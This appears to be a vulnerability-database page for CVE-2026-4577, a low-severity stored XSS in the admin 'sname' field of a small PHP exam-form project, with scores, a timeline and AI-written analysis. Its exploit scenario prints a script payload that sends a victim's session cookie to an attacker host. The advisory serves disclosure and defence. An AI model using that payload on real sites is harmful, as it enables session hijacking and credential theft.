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PHP CVE-2026-4577

| EUVD-2026-14384 LOW
Cross-site Scripting (XSS) (CWE-79)
2026-03-23 VulDB GHSA-84wf-m6gv-7jp4
1.9
CVSS 4.0 · NVD

Severity by source

NVD PRIMARY
1.9 LOW
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
P
Scope
X

Lifecycle Timeline

8
Severity Changed
Apr 29, 2026 - 01:11 NVD
MEDIUM LOW
CVSS changed
Apr 29, 2026 - 01:11 NVD
4.8 (MEDIUM) 1.9 (LOW)
Severity Changed
Apr 24, 2026 - 16:37 NVD
LOW MEDIUM
CVSS changed
Apr 24, 2026 - 16:37 NVD
2.4 (LOW) 4.8 (MEDIUM)
PoC Detected
Mar 23, 2026 - 14:31 vuln.today
Public exploit code
EUVD ID Assigned
Mar 23, 2026 - 06:45 euvd
EUVD-2026-14384
Analysis Generated
Mar 23, 2026 - 06:45 vuln.today
CVE Published
Mar 23, 2026 - 06:35 nvd
LOW 2.4

DescriptionCVE.org

A vulnerability was found in code-projects Exam Form Submission 1.0. The affected element is an unknown function of the file /admin/update_s4.php. Performing a manipulation of the argument sname results in cross site scripting. The attack may be initiated remotely. The exploit has been made public and could be used.

AnalysisAI

A Stored Cross-Site Scripting (XSS) vulnerability exists in code-projects Exam Form Submission version 1.0 affecting the /admin/update_s4.php endpoint, where the 'sname' parameter is not properly sanitized before output. An authenticated attacker with high privileges can inject malicious JavaScript that executes in the context of other users' browsers, potentially leading to session hijacking, credential theft, or administrative action abuse. …

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Vulnerability AssessmentAI

Risk Assessment The CVSS v3.1 score of 2.4 reflects low severity due to multiple constraints: Network-accessible attack vector (AV:N), low attack complexity (AC:L), but critically HIGH privilege requirement (PR:H) meaning only authenticated administrators can exploit it, plus required user interaction (UI:R) where a victim must visit an attacker-controlled page. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker with compromised or rogue administrative credentials navigates to /admin/update_s4.php and injects a payload like sname=<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script> into the form field. When the page is saved and another administrator later views the affected record, the injected script executes in their browser session, stealing their session cookies or redirecting them to a phishing page. …
Remediation Immediately upgrade to a patched version if the vendor (code-projects) has released one; check https://code-projects.org/ and VulDB references (https://vuldb.com/?id.352414) for the latest version and security advisory. … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

During next maintenance window: Apply vendor patches when convenient. …

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CVE-2026-4577 vulnerability details – vuln.today

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